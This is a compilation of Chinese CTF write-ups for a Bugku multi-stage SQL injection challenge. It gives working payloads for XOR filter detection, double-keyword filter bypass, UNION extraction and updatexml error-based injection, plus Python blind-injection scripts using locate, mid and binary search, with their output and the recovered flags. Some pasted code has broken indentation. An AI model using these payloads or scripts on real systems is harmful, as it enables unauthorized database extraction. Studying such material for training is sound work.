1. 程式人生 > >bugku中的多次(異或注入,updatexml報錯注入,union過濾和locate繞過,布林盲注)writeup

bugku中的多次(異或注入,updatexml報錯注入,union過濾和locate繞過,布林盲注)writeup

首先我們判斷一下是什麼注入型別

注意輸入的是英文字元',中文不會轉變為%27,報錯,說明是字元注入
這時候我們就要判斷一下SQL網站過濾了什麼內容,我們可以使用異或注入來判斷哪些字串被過濾掉了

http://120.24.86.145:9004/1ndex.php?id=1%27^(0)%23

正常執行,我們在輸入

http://120.24.86.145:9004/1ndex.php?id=1%27^(1)%23

出現錯誤,這是因為id後面的內容首先要和^後面的內容進行異或,報錯的語句是因為異或以後id變為0資料庫查詢不到相關的資訊,產生錯誤,也就是括號裡得到內容如果為真則會產生錯誤,為假則會正常執行,我們可以利用這個進行判斷哪些字元被過濾掉了,輸入

http://120.24.86.145:9004/1ndex.php?id=1%27^(length(%27union%27)%3E0)%23

%3E是>號,頁面顯示正常,這就是說length('union')>0這個語句是錯誤的,也就是union已經被過濾掉了。

通過以上的方法我們可以找到所有被過濾的字元  select union or and  而limit和from沒有被過濾

我們構造SQL注入語句

http://120.24.86.145:9004/1ndex.php?id=-1%27uniunionon%20selselectect%201,2%23

看到了一個回顯,就是在2的位置上,我們繼續查詢資料庫名和表名

  1. http://120.24.86.145:9004/1ndex.php?id=-1%27uniunionon%20selselectect%201,database()%23

  2. http://120.24.86.145:9004/1ndex.php?id=-1%27uniunionon%20selselectect%201,(selecselectt%20table_name%20from%20infoorrmation_schema.tables%20where%20table_schema=database()%20limit%200,1)%23

  3. http://120.24.86.145:9004/1ndex.php?id=-1%27uniunionon%20selselectect%201,(selecselectt%20column_name%20from%20infoorrmation_schema.columns%20where%20table_schema=database()%20anandd%20table_name=%27flag1%27%20limit%200,1)%23

  4. http://120.24.86.145:9004/1ndex.php?id=-1%27uniunionon%20selselectect%201,(selecselectt%20column_name%20from%20infoorrmation_schema.columns%20where%20table_schema=database()%20anandd%20table_name=%27flag1%27%20limit%201,1)%23

得到資料庫名稱為web1002-1,表名為flag1,有兩列,flag1,address

查詢flag1得到第一個flag     usOwycTju+FTUUzXosjr

因為題目說是有兩個flag所以在查詢一下address

得到

點選下一關

依然是一個SQL注入的題目,這裡比較坑的就是,他的字型顯示的是黑色的,當我們輸入'的時候

存在SQL注入,並且我們可以從回顯中檢視哪些被過濾掉了,注意是錯誤中的顯示才是正確的,

輸入union沒有反應說明是被過濾掉了,輸入雙重union

發現select也被過濾掉了,

發現無法回顯,只能使用指令碼進行爆破

http://120.24.86.145:9004/Once_More.php?id=-1%27union%20select%20sleep%20or%20and%20if%20limit%23

發現sleep也被過濾掉了,測試之後發現substr也被過濾掉了,所以使用locate函式達到這樣的效果

http://120.24.86.145:9004/Once_More.php?id=1'and (select locate(binary'{',(select user()),2))=2%23

具體的程式碼

  1. def flag2():

  2. flag =''

  3. for j in xrange(1, 100):

  4. temp = '!@$%^&*()_+=-|}{POIU YTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./1234567890`~'

  5. key = 0

  6. for i in temp:

  7. url = "http://120.24.86.145:9004/Once_More.php?id=1'and (select locate(binary'"+str(i)+"',(select flag2 from flag2),"+str(j)+"))="+str(j)+"%23"

  8. r1 = rs.get(url)

  9. # print url

  10. if "Hello" in r1.text:

  11. print str(i)+" -----"+str(j)

  12. flag += str(i)

  13. print "[*] : "+flag

  14. key = 1

  15. if key ==0:

  16. break

其他的測試database和這個的類似

-------------------------------------------------------

登陸後發現頁面沒有啥資訊,但是url位址列?id=1 可能存在注入

id=1後面加單引號會報錯,後面加--+註釋返回正常,確定存在SQL注入

?id=1'or 1=1--+ 也報錯,可能存在過濾

嘗試雙寫繞過,?id=1'oorr 1=1--+ 返回正常

那如何檢測哪些字串被過濾了呢?新技能GET!

異或注入瞭解一下,兩個條件相同(同真或同假)即為假

http://120.24.86.145:9004/1ndex.php?id=1'^(length('union')!=0)--+

如果返回頁面顯示正常,那就證明length(‘union’)==0的,也就是union被過濾了

同理測試出被過濾的字串有:and,or,union,select

都用雙寫來繞過,payload如下:

爆資料表 (注意:information裡面也有or)

http://120.24.86.145:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+

爆欄位

http://120.24.86.145:9004/1ndex.php?id=-1' ununionion seselectlect 1, group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1'--+

爆資料

http://120.24.86.145:9004/1ndex.php?id=-1' ununionion seselectlect 1, group_concat(flag1) from flag1--+

提交flag顯示錯誤,換個欄位,爆address,得出下一關地址

進去又是一個SQL注入

大小寫繞過pass,雙寫繞過pass

這裡利用 updatexml() 函式報錯注入

首先了解下updatexml()函式

UPDATEXML (XML_document, XPath_string, new_value); 

第一個引數:XML_document是String格式,為XML文件物件的名稱,文中為Doc 

第二個引數:XPath_string (Xpath格式的字串) ,如果不瞭解Xpath語法,可以在網上查詢教程。 

第三個引數:new_value,String格式,替換查詢到的符合條件的資料 

作用:改變文件中符合條件的節點的值

改變XML_document中符合XPATH_string的值

而我們的注入語句為:

updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

其中的 concat() 函式是將其連成一個字串,因此不會符合XPATH_string的格式,從而出現格式錯誤,爆出

ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'

payload 如下

  1. # 查資料表

  2. http://120.24.86.145:9004/Once_More.php?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),3) %23

  3. # 查欄位

  4. ?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag2'),'~'),3) %23

  5. # 查資料

  6. ?id=1' and updatexml(1,concat('~',(select flag2 from flag2),'~'),3) %23

最後爆出 flag

-----------------------------------------------------------------------------------------------------

採用異或注入。
在id=1後面輸入 '(0)'
發現不出錯,那就將0換成1=1
如果出錯,那就是成功了

進入連結

測試?id=1'
報錯

My Id =1'
Nobody!
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

我還是一樣的辦法測試過濾

union substr sleep

雙寫無法繞過,大小寫無法繞過,/*!*/無法繞過。
更換函式,利用updatexml報錯。

payload

# 查表
http://120.24.86.145:9004/Once_More.php?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),3) %23
# 結果
Nobody!
XPATH syntax error: '~class,flag2~'

# 查欄位
?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag2'),'~'),3) %23
# 結果
Nobody!
XPATH syntax error: '~flag2,address~'

# 查資料
?id=1' and updatexml(1,concat('~',(select flag2 from flag2),'~'),3) %23
# 結果
Nobody!
XPATH syntax error: '~flag{Bugku-sql_6s-2i-4t-bug}~'

本題也可以用布林盲注來做,畢竟有回顯和明顯的TF標誌,因為碰巧也在學習盲注,做了一下,這裡附上指令碼:

import requests

def length_schema():
    for x in range(1,20):
        url = 'http://120.24.86.145:9004/Once_More.php?id=1%27and%20length(database())='+str(x)+'%23'
        s = requests.get(url)
        if "Hello" in s.text:
            print 'schema_length is :' + str(x)
            global a
            a = int(x)
            break
        
def schema_name():
    x = 0
    name = ''
    while x < a:
        x = x + 1
        temp = 'abcdefghijklmnopqrstuvwxyz0123456789!@$%^&*()_+=-|}{:?><[];,.`~' 
        for i in temp:
            url = 'http://120.24.86.145:9004/Once_More.php?id=1%27and%20mid(database(),'+ str(x) +',1)=%27'+str(i)+'%27%23'
            s = requests.get(url)
            if "Hello" in s.text:
                name = name + str(i)

    print 'sechma_name is :' + name
    global schema_name
    schema_name = name

def all():
    temp = 'abcdefghijklmnopqrstuvwxyz0123456789!@$%^&*()_+=-|}{:?><[];,.`~'
    temp_data = 'abcdefghijklmnopqrstuvwxyz0123456789!@$%^&*()_+=-|}{:?><[];,.`~ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    for x in xrange(0,20):
        table_name = ''
        for y in xrange(1,20):
            key = 0
            for i in temp:
                url = 'http://120.24.86.145:9004/Once_More.php?id=1%27and%20ascii(mid((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27'+schema_name+'%27%20limit%20'+str(x)+',1),'+str(y)+',1))=ascii(\''+str(i)+'\')%23'
                s = requests.get(url)
                if "Hello" in s.text:
                    key = 1
                    table_name = table_name + str(i)
            if key == 0:
                break
        if table_name == '':
            break
        print 'one of tables is:' + table_name
        for p in xrange(0,20):
            column_name = ''
            for q in xrange(1,20):
                key = 0
                for i in temp:
                    url_columns = 'http://120.24.86.145:9004/Once_More.php?id=1%27and%20ascii(mid((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27'+schema_name+'%27%20and%20table_name=%27'+table_name+'%27limit%20'+str(p)+',1),'+str(q)+',1))=ascii(\''+str(i)+'\')%23'
                    s = requests.get(url_columns)
                    if "Hello" in s.text:
                        key = 1
                        column_name = column_name + str(i)
                if key ==0:
                    break
            if column_name == '':
                break
            print 'a column name of '+table_name+' is '+column_name
            for y in xrange(0,10):
                data = ''
                for z in xrange(1,20):
                    key = 0
                    for i in temp_data:
                        url_data = 'http://120.24.86.145:9004/Once_More.php?id=1%27and%20ascii(mid((select%20'+column_name+'%20from%20`'+schema_name+'`.'+table_name+'%20limit%20'+str(y)+',1),'+str(z)+',1))=ascii(\''+str(i)+'\')%23'
                        s = requests.get(url_data)
                        if "Hello" in s.text:
                            data = data + str(i)
                            key = 1
                    if key == 0:
                        break
                if data == '':
                    break
                print 'one data of '+schema_name+'.'+table_name+'\'s '+column_name+' is '+data

def main():
    length_schema()
    schema_name()
    all()
if __name__ == '__main__':
    main()

結果

schema_length is :9
sechma_name is :web1002-2
one of tables is:class
a column name of class is id
one data of web1002-2.class's id is 1
one data of web1002-2.class's id is 2
one data of web1002-2.class's id is 3
one data of web1002-2.class's id is 4
one data of web1002-2.class's id is 5
one data of web1002-2.class's id is 6
one data of web1002-2.class's id is 7
a column name of class is name
one data of web1002-2.class's name is TOM
one data of web1002-2.class's name is Jack
one data of web1002-2.class's name is Mack
one data of web1002-2.class's name is Jones
one data of web1002-2.class's name is James
one data of web1002-2.class's name is Fox
one data of web1002-2.class's name is Henry
one of tables is:flag2
a column name of flag2 is flag2
one data of web1002-2.flag2's flag2 is flag{Bugku-sql_6s-2
a column name of flag2 is address
one data of web1002-2.flag2's address is .
[Finished in 1620.8s]

知識點

報錯注入,基本的過濾和繞過,布林盲注

--------------------------------------------------------------

進入連結

這裡還是一個考注入,那就常規測試一下,加上單引號

出現報錯,還是最常見的報錯,那就是要%23注析掉了

然後繼續測試其他的

1=2出錯

1=1正常

Order by 2也正常
一切都好順利

‘ union select 1,2%23
出現了過濾,把union過濾了
用之前的方法繞過

‘ uniunionon select 1,2%23
發現把select也吃掉了

那就測試一下看看還有那些函式被過濾了
直接在id後面輸入函式就可以知道,因為有回顯我們輸入的資料

id=1 union select limit from and or where if sleep substr ascii
發現 union sleep substr被過濾了
那就是不能回顯,substr也不能用了

我這裡用了一個不常用的函式locate()
直接判斷查出來的資料裡面有那些字元,然後將它們按順序排序

def user():
    flag =‘‘
    for j in xrange(1, 100):
        temp = ‘!@$%^&*()_+=-|}{POIU YTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./1234567890`~‘
        key = 0
        for i in temp:
            url = "http://120.24.86.145:9004/Once_More.php?id=1‘and (select locate(binary‘"+str(i)+"‘,(select user()),"+str(j)+"))="+str(j)+"%23"
            r1 = rs.get(url)
            # print url
            if "Hello" in r1.text:
                print str(i)+" -----"+str(j)
                flag += str(i)
                key = 1
        if key ==0:
            print "[*] : " + flag
            break  

完整程式碼在我的GitHub裡面有

----------------------------------------------------------

整個頁面沒有任何可以入手的地方,再看URL:http://120.24.86.145:9004/1ndex.php?id=1

太明顯的SQL注入了,然後給id多賦值幾次,會發現作者又在各種忽悠我們,不過等到id=5的時候他告訴我們"You can do some SQL injection in here."

然後開始各種注入測試啊:

  1、加上一個單引號

  http://120.24.86.145:9004/1ndex.php?id=1'

  ——報錯(注意,一定要是英文的單引號哦!)

  2、加上一個單引號和%23

  http://120.24.86.145:9004/1ndex.php?id=1'%23

  ——不報錯

  3、加上一個單引號和and 1=1和%23

  http://120.24.86.145:9004/1ndex.php?id=1' and 1=1%23

  ——又報錯了

原因分析:肯定是過濾了什麼,但我們不知道過濾的是什麼,所以使用異或查詢。

異或查詢:

  1、使用:在id=1後面加上'^(str)^'  str是由我們定義的命令

  2、原理分析:

    id=1為真,如果它異或一個假,那就返回真,整個頁面也就正常;反之,如果它異或一個真,那就返回假,這個頁面也就不正常

    所以,如果頁面正常與否和命令的真值是相反的——頁面正常,命令的真值為假;頁面不正常,命令才為真

  3、簡單實驗:

    a.?id=1'^(0)^'  頁面正常

    b.?id=1'^(1=1)^'  頁面不正常

    //注意:輸入URL的時候單引號一定要是英文的!!!小心輸入法的坑!

  4、應用:

    如果我們把括號裡的內容換成  length(‘union’)!=0 

    頁面返回正常,那麼str就是假的,也就是說'union'這個字串的長度為0,那麼就是被過濾掉了

    總之,如果頁面正常,那麼該字串就被過濾掉了,如果出錯,那就是沒被過濾掉。

異或注入檢測之後發現:union,select,and,or被過濾掉了;limit,from沒有被過濾掉

我們得到了第一個flag和一個地址:./Once_More.php

又是一個SQL注入,

繼續素質好幾連:

id=1'  報錯

id=1'%23  不報錯

id=1' and 1=1%23  不報錯

id=1' and 1=2%23  報錯

id=1' and 1=2 union select 1,2%23  根據顯示出來的東西,發現它會過濾

既然它會有所輸出,那我就把所有的要用到的字元都輸進去,看看它會怎麼樣

id=1 union select limit from and or where if sleep substr ascii

發現union sleep substr都不能用了

剩下的我實在是不會了,只能借鑑大佬的了:

那就是不能回顯,substr也不能用了

我這裡用了一個不常用的函式locate()
直接判斷查出來的資料裡面有那些字元,然後將它們按順序排序

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

def user():

flag =''

for in xrange(1100):

temp = '!@$%^&*()_+=-|}{POIU YTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./1234567890`~'

key = 0

for in temp:

url = "http://120.24.86.145:9004/Once_More.php?id=1'and (select locate(binary'"+str(i)+"',(select user()),"+str(j)+"))="+str(j)+"%23"

r1 = rs.get(url)

# print url

if "Hello" in r1.text:

print str(i)+" -----"+str(j)

flag += str(i)

key = 1

if key ==0:

print "[*] : " + flag

break

---------------------------------------------------------------------------

傳送門
看到ID,先fuzz一下
一個單引號報錯,%23閉合以後正常
用異或這個套路進行過濾檢測,有兩種套路,一種是註釋閉合,一種是兩個單引號,兩個^閉合

id=1%27^(0)%23
id=1%27^(0)^%27

當括號中的值為真時頁面會報錯,則可以構造測試語句
比如判斷union是否被過濾

id=1%27^(length(%27union%27))%23

返回的是id=1的介面,代表length(‘union’)返回值為0,union已經被過濾了,select也被過濾了
然後可以雙寫繞過,有意思的是,flag並不對,想到題幹說有兩個flag,又翻了翻
找到下一個網站的Payload

http://120.24.86.145:9004/1ndex.php?id=-1%27 ununionion seselectlect 1,address from flag1%23


後半部分的入口
可以當作一個布林注入用指令碼跑,也可以用報錯注入

bool注入

貼一個我寫的很醜的指令碼,不過效率還是蠻高的,二分查詢

import requests

head = 'http://120.24.86.145:9004/Once_More.php?id='
payload = ''
index = ''
s = ''
for n in range(200):
    left = 32
    right = 127
    while left<=right:
        i = (left+right)//2
        payload = 'a\' or (ASCII(MID((SELECT flag2 FROM flag2), ' + str(n) + ', 1))) < ' + str(i) + ' %23'
        index = head + payload
        r = requests.get(index)
        r.encoding = 'utf-8'
        if r.text.find('Hello')!=-1:#小於返回1
            right = i-1
        else:
            payload = 'a\' or (ASCII(MID((SELECT flag2 FROM flag2), ' + str(n) + ', 1))) > ' + str(i) + ' %23'
            index = head +payload
            r = requests.get(index)
            r.encoding = 'utf-8'
            if r.text.find('Hello') != -1:  # 大於返回1
                left = i+1
            else: #相等
                s=s+chr(i)
                print(s)
                break

address欄位有一個./Have_Fun.php,開啟看看
二維碼掃描後看到提示

還有後續注入,有點崩潰
http://120.24.86.145:9004/ErWeiMa.php?game=1
但是注入了半天沒有結果。。最後把之前查到的flag{Bugku-sql_6s-2i-4t-bug}全部換為小寫後提交又正確了
原因應該是LEFT,MID,RIGHT在比較的時候是不區分大小寫的
但是不是很懂出題人留這個後續注入的意思,很迷,或許第二個flag是要把這個注入出來?有興趣可以試試

------------------------------------------------------------

這個題目感謝一下超哥的指導
我們進去之後先測試一波
開始輸入 ?id=1’頁面返回錯誤(但不是報錯資訊),新增 ?id=1’%23則沒有報錯猜測應該是單引號閉合,繼續嘗試 ?id=1’ and 1=1%23則又開始報錯了,

這裡學到一種新的注入方式異或注入
id後面輸入 1’^(0)^’,此時頁面正常返回,如果換一下 ‘^(1)^’,此時則會返回錯誤,那麼接下來我們就可以試一下頁面究竟過濾了那些關鍵字。比如 1’^(length(‘select’)=6)^’
測試這個select應該是被過濾的了,實現的語句應該是id=1'^0^0,有過濾返回正確,而無過濾的時候就會返回錯誤
測試得到以下關鍵字被過濾

select,union,or,and

我們先嚐試用seselectlect這樣的形式過濾,怎麼測試呢,也是剛才的語句 1’^(length(‘seselectlect’)=6)^’這裡返回了錯誤,說明繞過成功了

下面就是常規操作

?id=1' oorrder by 3%23   # 爆欄位數
?id=-1' ununionion seleselectct 1,database() %23

注意information的繞過

?id=-1' ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database() %23

?id=-1' ununionion seleselectct 1,group_concat(address) from flag1%23

最後得到下一個頁面的地址

在一次嘗試,發現這個頁面是個報錯注入,多次嘗試發現union關鍵字被過濾,一旦union被過濾我們只能用報錯注入的方法,一步步來了

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=flag2),0x7e),1)%23
?id=1' and updatexml(1,concat(0x7e,(select flag2 from flag2),0x7e),1)%23

得到flag,注意提交flag的格式全部都是小寫
總的來說這個題還是學到很多的,一是通過異或注入判斷過濾的關鍵字,二是在union被過濾的情況之下要想到報錯注入的方式

---------------------------------------------------------------

沒有回顯,只能盲注,接下來是指令碼

這題我好多flag啊........

首先頁面是有回顯的注入,過程如下

  1. 資料庫

  2. ?id=-1%27ununionion seselectlect 1,database()%23

  3. 回顯web1002-1

  4. 資料表

  5. ?id=-1%27ununionion seselectlect 1,(seselectlect table_name from infoorrmation_schema.tables where table_schema="web1002-1" limit 0,1)%23

  6. 回顯flag1

  7. ?id=-1%27ununionion seselectlect 1,(seselectlect table_name from infoorrmation_schema.tables where table_schema="web1002-1" limit 1,1)%23

  8. 回顯hint

  9. flag1欄位

  10. ?id=-1%27ununionion seselectlect 1,(seselectlect column_name from infoorrmation_schema.columns where table_name="flag1" limit 0,1)%23

  11. 回顯flag1

  12. ?id=-1%27ununionion seselectlect 1,(seselectlect column_name from infoorrmation_schema.columns where table_name="flag1" limit 1,1)%23

  13. 回顯address

  14. hint欄位

  15. ?id=-1%27ununionion seselectlect 1,(seselectlect column_name from infoorrmation_schema.columns where table_name="hint" limit 0,1)%23

  16. 回顯id

  17. ?id=-1%27ununionion seselectlect 1,(seselectlect column_name from infoorrmation_schema.columns where table_name="hint" limit 1,1)%23

  18. 回顯contents

  19. flag1

  20. ?id=-1%27ununionion seselectlect 1,(seselectlect flag1 from flag1)%23

  21. 回顯usOwycTju+FTUUzXosjr

  22. ?id=-1%27ununionion seselectlect 1,(seselectlect address from flag1)%23

  23. 回顯./Once_More.php

然後就看到有另一個連結

又是sql注入,id=1'時會報錯
?id=1' or 1%23 正常回顯
?id=1' order by 2%23 這樣可以確定有兩列
?id=1' and length(database())=9%23 確定資料庫長度為9

而且我們可以看到我們的注入語句,所以可以知道過濾了什麼

沒有回顯,只能盲注,接下來是指令碼
  1. #資料庫

  2. import requests

  3. url = "http://120.24.86.145:9004/Once_More.php"

  4. guess = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456_"

  5. # guess = "w"

  6. char = "Hello,I Am Here!"

  7. database=""

  8. print("start!")

  9. for i in range(1,10):

  10. for j in guess:

  11. payload = {'id':"1' and mid((select database()),%s,1)='%s'#"%(i,j)}

  12. res = requests.get(url=url,params=payload).text

  13. # print(res)

  14. if char in res:

  15. database += j

  16. print(database)

  17. break

  18. print("end!")

  19. #資料表

  20. import requests

  21. url = "http://120.24.86.145:9004/Once_More.php"

  22. guess = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456_"

  23. # guess = "w"

  24. char = "Hello,I Am Here!"

  25. print("start!")

  26. for i in range(1,10):

  27. print(i)

  28. table = ""

  29. for j in range(1,20):

  30. for k in guess:

  31. payload = {'id':"1' and mid((select table_name from information_schema.tables where table_schema=database() limit %s,1),%s,1)='%s'#"%(i,j,k)}

  32. res = requests.get(url=url,params=payload).text

  33. # print(res)

  34. if char in res:

  35. table += k

  36. print("the %s table %s"%(i,table))

  37. break

  38. print("end!")

  39. #欄位

  40. import requests

  41. url = "http://120.24.86.145:9004/Once_More.php"

  42. guess = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456_"

  43. # guess = "w"

  44. char = "Hello,I Am Here!"

  45. print("start!")

  46. for i in range(1,10):

  47. print(i)

  48. column = ""

  49. for j in range(1,20):

  50. for k in guess:

  51. payload = {'id':"1' and mid((select column_name from information_schema.columns where table_schema=database() limit %s,1),%s,1)='%s'#"%(i,j,k)}

  52. res = requests.get(url=url,params=payload).text

  53. # print(res)

  54. if char in res:

  55. column += k

  56. print("the %s column %s"%(i,column))

  57. break

  58. print("end!")

  59. #值

  60. import requests

  61. url = "http://120.24.86.145:9004/Once_More.php"

  62. guess = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456_{}@~,.;:/'\*-+"

  63. char = "Hello,I Am Here!"

  64. print("start!")

  65. flag = ""

  66. for i in range(1,30):

  67. for j in guess:

  68. # payload = {'id':"1' and mid((select flag2 from flag2 ),%s,1)='%s'#"%(i,j)}

  69. payload = {'id': "1' and mid((select user()),%s,1)='%s'#" % (i, j)} #這個是大佬說的正確的flag

  70. res = requests.get(url=url,params=payload).text

  71. if char in res:

  72. flag += j

  73. print(flag)

  74. break

  75. print(flag)

  76. print("end!")